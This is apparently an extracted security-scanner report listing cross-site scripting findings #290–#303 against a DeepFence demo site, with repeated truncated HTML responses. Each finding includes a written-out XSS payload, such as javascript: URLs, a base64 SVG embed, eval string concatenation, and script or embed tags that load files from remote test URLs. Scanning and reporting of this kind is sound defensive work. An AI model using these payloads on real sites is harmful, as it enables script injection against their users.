__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #290
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <STYLE type="text/css">BODY{background:url("javascript:
alert('XSS')")}</STYLE>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the responseCWE-ID CWE-79
Issue Number #291
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <!--[if gte IE 4]><SCRIPT>alert('XSS');</SCRIPT><![endif]--
>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #292
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <BASE HREF="javascript:alert('XSS');//">
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #293
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <OBJECT TYPE="text/x-scriptlet" DATA="http://soapui.org/
scriptlet.html"></OBJECT>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #294
Cross Site ScriptingScan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-
0080c744f389><param name=url value=javascript:alert('XSS')>
</OBJECT>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #295
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <EMBED SRC="http://soapui.org/xss.swf" AllowScriptAccess
="always"></EMBED>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #296
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1
#<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH 
A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv 
MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs 
aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw
IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh 
TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="
always"></EMBED>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title>
DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="width=
device-width, initial-scale=1, shrink-to-fit=no"> <script src="/cdn-cgi/apps/head
/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script language="javascript"> window._
_DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER__"; </script> <!-- Start of Zendesk 
Widget script --> <!-- <script id="ze-snippet" src="https://static.zdassets.com/
ekr/snippet.js?key=c377ac9e-9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End 
of Zendesk Widget script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" 
type="image/png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZ
VJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCgAQIoqIk
iLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary hints on 
your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be echoed back  DemoUser1# 
in the response
CWE-ID CWE-79
Issue Number #297
Cross Site ScriptingScan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# a="get";b="URL(\"";c="javascript:";d="alert('XSS');\")";eval(a+
b+c+d);
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #298
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <XML ID=I><X><C><![CDATA[<IMG SRC="javas]] ><![CDATA[
cript:alert('XSS');">]] ></C></X></xml><SPAN DATASRC=#I 
DATAFLD=C DATAFORMATAS=HTML></SPAN>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #299
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <XML ID="xss"><I><B>&lt;IMG SRC="javas<!-- -->cript:alert('
XSS')"&gt;</B></I></XML><SPAN DATASRC="#xss" DATAFLD
="B" DATAFORMATAS="HTML"></SPAN>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #300
Scan Cross Site Scripting
Severity ERROREndpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <HTML><BODY><?xml:namespace prefix="t" ns="urn:
schemas-microsoft-com:time"><?import namespace="t" 
implementation="#default#time2"><t:set attributeName="
innerHTML" to="XSS&lt;SCRIPT DEFER&gt;alert(&quot;XSS&quot
;)&lt;/SCRIPT&gt;"></BODY></HTML>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #301
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <SCRIPT SRC="http://soapui.org/xss.jpg"></SCRIPT>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #302
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <? echo('<SCR)';echo('IPT>alert("XSS")</SCRIPT>'); ?>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #303
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GETModified 
ParametersName Value
DemoUser1# <IMG SRC="http://soapui.org/somecommand.php?
somevariables=maliciouscode">
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
